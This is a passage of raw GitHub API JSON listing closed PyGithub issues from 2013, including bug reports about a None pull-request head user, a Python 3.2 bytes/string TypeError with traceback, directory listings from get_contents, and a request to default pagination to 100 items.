PyGithub/languages","stargazers_url":"https://api.github.com/repos/jacquev6/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/PyGithub/subscription","commits_url":"https://api.github.com/repos/jacquev6/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/{number}","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/PyGithub/merges","archive_url":"https://api.github.com/repos/jacquev6/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/PyGithub/downloads","issues_url":"https://api.github.com/repos/jacquev6/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/labels{/name}","created_at":"2012-02-25T12:53:47Z","updated_at":"2013-05-13T21:44:12Z","pushed_at":"2013-04-25T18:26:07Z","git_url":"git://github.com/jacquev6/PyGithub.git","ssh_url":"git@github.com:jacquev6/PyGithub.git","clone_url":"https://github.com/jacquev6/PyGithub.git","svn_url":"https://github.com/jacquev6/PyGithub","homepage":"http://jacquev6.github.com/PyGithub","size":516,"watchers_count":203,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":55,"mirror_url":null,"open_issues_count":12,"forks":55,"open_issues":12,"watchers":203,"master_branch":"master","default_branch":"master"},"body":"Error can be reproduced with the following example:\r\n```\r\nimport github\r\nrepo = github.Github().get_user(\"openmicroscopy\").get_repo(\"ome-documentation\")\r\n\r\nassert repo.get_pull(204).head.user.login == 'imcf'\r\n\r\nfor pr in list(repo.get_pulls('closed')):\r\n\tif pr.number == 204:\r\n\t\tassert pr.head.user is None\r\n```\r\n\r\n/cc @joshmoore"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/142","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/142/labels{/name}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/142/comments","events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/142/events","html_url":"https://github.com/jacquev6/PyGithub/issues/142","id":11503771,"number":142,"title":"Bug with Python 3?","user":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following{/other_user}","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug","name":"Bug","color":"e10c02"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Requested+by+user","name":"Requested by user","color":"e10c02"}],"state":"closed","assignee":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"milestone":null,"comments":5,"created_at":"2013-02-28T15:00:18Z","updated_at":"2013-03-03T19:08:21Z","closed_at":"2013-03-03T17:54:48Z","pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"repository":{"id":3544490,"name":"PyGithub","full_name":"jacquev6/PyGithub","owner":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"private":false,"html_url":"https://github.com/jacquev6/PyGithub","description":"Python library implementing the full Github API v3","fork":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","forks_url":"https://api.github.com/repos/jacquev6/PyGithub/forks","keys_url":"https://api.github.com/repos/jacquev6/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/PyGithub/teams","hooks_url":"https://api.github.com/repos/jacquev6/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/PyGithub/events","assignees_url":"https://api.github.com/repos/jacquev6/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/PyGithub/tags","blobs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/PyGithub/languages","stargazers_url":"https://api.github.com/repos/jacquev6/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/PyGithub/subscription","commits_url":"https://api.github.com/repos/jacquev6/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/{number}","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/PyGithub/merges","archive_url":"https://api.github.com/repos/jacquev6/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/PyGithub/downloads","issues_url":"https://api.github.com/repos/jacquev6/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/labels{/name}","created_at":"2012-02-25T12:53:47Z","updated_at":"2013-05-13T21:44:12Z","pushed_at":"2013-04-25T18:26:07Z","git_url":"git://github.com/jacquev6/PyGithub.git","ssh_url":"git@github.com:jacquev6/PyGithub.git","clone_url":"https://github.com/jacquev6/PyGithub.git","svn_url":"https://github.com/jacquev6/PyGithub","homepage":"http://jacquev6.github.com/PyGithub","size":516,"watchers_count":203,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":55,"mirror_url":null,"open_issues_count":12,"forks":55,"open_issues":12,"watchers":203,"master_branch":"master","default_branch":"master"},"body":"Hi! \r\nI'm currently in the process of switching a program to python 3.2. I encounter the following problem: `TypeError: can't use a string pattern on a bytes-like object`\r\n\r\n```\r\nimport github\r\ngh_instance = github.Github('')\r\nuser = gh_instance.get_user()\r\nuser.name\r\n---------------------------------------------------------------------------\r\nTypeError Traceback (most recent call last)\r\n in ()\r\n----> 1 user.name\r\n\r\n/usr/local/lib/python3.2/dist-packages/github/AuthenticatedUser.py in name(self)\r\n 166 :type: string\r\n 167 \"\"\"\r\n--> 168 self._completeIfNotSet(self._name)\r\n 169 return self._NoneIfNotSet(self._name)\r\n 170 \r\n\r\n/usr/local/lib/python3.2/dist-packages/github/GithubObject.py in _completeIfNotSet(self, value)\r\n 61 def _completeIfNotSet(self, value):\r\n 62 if not self.__completed and value is NotSet:\r\n---> 63 self.__complete()\r\n 64 \r\n 65 def __complete(self):\r\n\r\n/usr/local/lib/python3.2/dist-packages/github/GithubObject.py in __complete(self)\r\n 68 self._url,\r\n 69 None,\r\n---> 70 None\r\n 71 )\r\n 72 self._useAttributes(data)\r\n\r\n/usr/local/lib/python3.2/dist-packages/github/Requester.py in requestJsonAndCheck(self, verb, url, parameters, input)\r\n 77 \r\n 78 def requestJsonAndCheck(self, verb, url, parameters, input):\r\n---> 79 return self.__check(*self.requestJson(verb, url, parameters, input))\r\n 80 \r\n 81 def requestMultipartAndCheck(self, verb, url, parameters, input):\r\n\r\n/usr/local/lib/python3.2/dist-packages/github/Requester.py in __check(self, status, responseHeaders, output)\r\n 83 \r\n 84 def __check(self, status, responseHeaders, output):\r\n---> 85 output = self.__structuredFromJson(output)\r\n 86 if status >= 400:\r\n 87 raise GithubException.GithubException(status, output)\r\n\r\n/usr/local/lib/python3.2/dist-packages/github/Requester.py in __structuredFromJson(self, data)\r\n 92 return None\r\n 93 else:\r\n---> 94 return json.loads(data)\r\n 95 \r\n 96 def requestJson(self, verb, url, parameters, input):\r\n\r\n/usr/lib/python3.2/json/__init__.py in loads(s, encoding, cls, object_hook, parse_float, parse_int, parse_constant, object_pairs_hook, **kw)\r\n 307 parse_int is None and parse_float is None and\r\n 308 parse_constant is None and object_pairs_hook is None and not kw):\r\n--> 309 return _default_decoder.decode(s)\r\n 310 if cls is None:\r\n 311 cls = JSONDecoder\r\n\r\n/usr/lib/python3.2/json/decoder.py in decode(self, s, _w)\r\n 351 \r\n 352 \"\"\"\r\n--> 353 obj, end = self.raw_decode(s, idx=_w(s, 0).end())\r\n 354 end = _w(s, end).end()\r\n 355 if end != len(s):\r\n\r\nTypeError: can't use a string pattern on a bytes-like object\r\n```\r\nIt's `PyGithub-1.12.1` installed via `pip-3.2` and python `'3.2.3 (default, Oct 19 2012, 19:53:57) \\n[GCC 4.7.2]'`"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/140","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/140/labels{/name}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/140/comments","events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/140/events","html_url":"https://github.com/jacquev6/PyGithub/issues/140","id":10922412,"number":140,"title":"Repository.get_contents does not return directory information","user":{"login":"ksookocheff-va","id":2529590,"avatar_url":"https://secure.gravatar.com/avatar/ae7eed65e46234c210912a1e474f2f1c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"ae7eed65e46234c210912a1e474f2f1c","url":"https://api.github.com/users/ksookocheff-va","html_url":"https://github.com/ksookocheff-va","followers_url":"https://api.github.com/users/ksookocheff-va/followers","following_url":"https://api.github.com/users/ksookocheff-va/following{/other_user}","gists_url":"https://api.github.com/users/ksookocheff-va/gists{/gist_id}","starred_url":"https://api.github.com/users/ksookocheff-va/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ksookocheff-va/subscriptions","organizations_url":"https://api.github.com/users/ksookocheff-va/orgs","repos_url":"https://api.github.com/users/ksookocheff-va/repos","events_url":"https://api.github.com/users/ksookocheff-va/events{/privacy}","received_events_url":"https://api.github.com/users/ksookocheff-va/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug","name":"Bug","color":"e10c02"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Requested+by+user","name":"Requested by user","color":"e10c02"}],"state":"closed","assignee":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/22","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/22/labels","id":266004,"number":22,"title":"Version 1.12.0","description":"","creator":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"open_issues":0,"closed_issues":2,"state":"closed","created_at":"2013-02-13T07:10:18Z","updated_at":"2013-02-20T18:45:16Z","due_on":null},"comments":6,"created_at":"2013-02-12T19:53:26Z","updated_at":"2013-02-16T22:45:00Z","closed_at":"2013-02-16T18:14:01Z","pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"repository":{"id":3544490,"name":"PyGithub","full_name":"jacquev6/PyGithub","owner":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"private":false,"html_url":"https://github.com/jacquev6/PyGithub","description":"Python library implementing the full Github API v3","fork":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","forks_url":"https://api.github.com/repos/jacquev6/PyGithub/forks","keys_url":"https://api.github.com/repos/jacquev6/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/PyGithub/teams","hooks_url":"https://api.github.com/repos/jacquev6/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/PyGithub/events","assignees_url":"https://api.github.com/repos/jacquev6/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/PyGithub/tags","blobs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/PyGithub/languages","stargazers_url":"https://api.github.com/repos/jacquev6/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/PyGithub/subscription","commits_url":"https://api.github.com/repos/jacquev6/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/{number}","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/PyGithub/merges","archive_url":"https://api.github.com/repos/jacquev6/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/PyGithub/downloads","issues_url":"https://api.github.com/repos/jacquev6/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/labels{/name}","created_at":"2012-02-25T12:53:47Z","updated_at":"2013-05-13T21:44:12Z","pushed_at":"2013-04-25T18:26:07Z","git_url":"git://github.com/jacquev6/PyGithub.git","ssh_url":"git@github.com:jacquev6/PyGithub.git","clone_url":"https://github.com/jacquev6/PyGithub.git","svn_url":"https://github.com/jacquev6/PyGithub","homepage":"http://jacquev6.github.com/PyGithub","size":516,"watchers_count":203,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":55,"mirror_url":null,"open_issues_count":12,"forks":55,"open_issues":12,"watchers":203,"master_branch":"master","default_branch":"master"},"body":"The GitHub API returns a list of all files in a directory when you use Get Contents on a directory.\r\n\r\nexample:\r\nhttps://api.github.com/repos/twitter/bootstrap/contents/js/?ref=d28343dc3ad53a411ae3685e7d6a7866c8c22d6b\r\n\r\nCurrently PyGithub only returns None when using this API to query a directory."},{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/145","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/145/labels{/name}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/145/comments","events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/145/events","html_url":"https://github.com/jacquev6/PyGithub/issues/145","id":11844658,"number":145,"title":"Configure default requests with per_page=100","user":{"login":"ptwobrussell","id":98668,"avatar_url":"https://secure.gravatar.com/avatar/322a50ffdb98591460f05015770b7adb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"322a50ffdb98591460f05015770b7adb","url":"https://api.github.com/users/ptwobrussell","html_url":"https://github.com/ptwobrussell","followers_url":"https://api.github.com/users/ptwobrussell/followers","following_url":"https://api.github.com/users/ptwobrussell/following{/other_user}","gists_url":"https://api.github.com/users/ptwobrussell/gists{/gist_id}","starred_url":"https://api.github.com/users/ptwobrussell/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ptwobrussell/subscriptions","organizations_url":"https://api.github.com/users/ptwobrussell/orgs","repos_url":"https://api.github.com/users/ptwobrussell/repos","events_url":"https://api.github.com/users/ptwobrussell/events{/privacy}","received_events_url":"https://api.github.com/users/ptwobrussell/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Functionalities","name":"Functionalities","color":"e102d8"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Requested+by+user","name":"Requested by user","color":"e10c02"}],"state":"closed","assignee":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/23","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/23/labels","id":282556,"number":23,"title":"Version 1.13.0","description":"","creator":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"open_issues":0,"closed_issues":6,"state":"closed","created_at":"2013-03-07T08:43:38Z","updated_at":"2013-03-22T17:44:33Z","due_on":null},"comments":6,"created_at":"2013-03-09T21:47:07Z","updated_at":"2013-03-21T20:47:58Z","closed_at":"2013-03-21T20:47:58Z","pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"repository":{"id":3544490,"name":"PyGithub","full_name":"jacquev6/PyGithub","owner":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"private":false,"html_url":"https://github.com/jacquev6/PyGithub","description":"Python library implementing the full Github API v3","fork":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","forks_url":"https://api.github.com/repos/jacquev6/PyGithub/forks","keys_url":"https://api.github.com/repos/jacquev6/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/PyGithub/teams","hooks_url":"https://api.github.com/repos/jacquev6/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/PyGithub/events","assignees_url":"https://api.github.com/repos/jacquev6/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/PyGithub/tags","blobs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/PyGithub/languages","stargazers_url":"https://api.github.com/repos/jacquev6/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/PyGithub/subscription","commits_url":"https://api.github.com/repos/jacquev6/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/{number}","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/PyGithub/merges","archive_url":"https://api.github.com/repos/jacquev6/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/PyGithub/downloads","issues_url":"https://api.github.com/repos/jacquev6/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/labels{/name}","created_at":"2012-02-25T12:53:47Z","updated_at":"2013-05-13T21:44:12Z","pushed_at":"2013-04-25T18:26:07Z","git_url":"git://github.com/jacquev6/PyGithub.git","ssh_url":"git@github.com:jacquev6/PyGithub.git","clone_url":"https://github.com/jacquev6/PyGithub.git","svn_url":"https://github.com/jacquev6/PyGithub","homepage":"http://jacquev6.github.com/PyGithub","size":516,"watchers_count":203,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":55,"mirror_url":null,"open_issues_count":12,"forks":55,"open_issues":12,"watchers":203,"master_branch":"master","default_branch":"master"},"body":"Per http://developer.github.com/v3/#pagination, the max items that can possibly be requested is 100 as opposed to the default of 30. From what I can tell, the default is used in all requests and there's no way to override it without modifying the source. Hence, about 1/3 of the available data is being returned on lots of requests\r\n\r\nIs there a reason not to go ahead and add a default per_page=100 to all API requests? Best case, it results in faster access to data, and worst case, it has no effect. For my particular uses, I'm making lots of requests, and a speedup of ~3.3x would be a big help.\r\n\r\nThoughts?"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/153","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/153/labels{/name}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/153/comments","events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/153/events","html_url":"https://github.com/jacquev6/PyGithub/issues/153","id":12566144,"number":153,"title":"Error \"500 None\" in 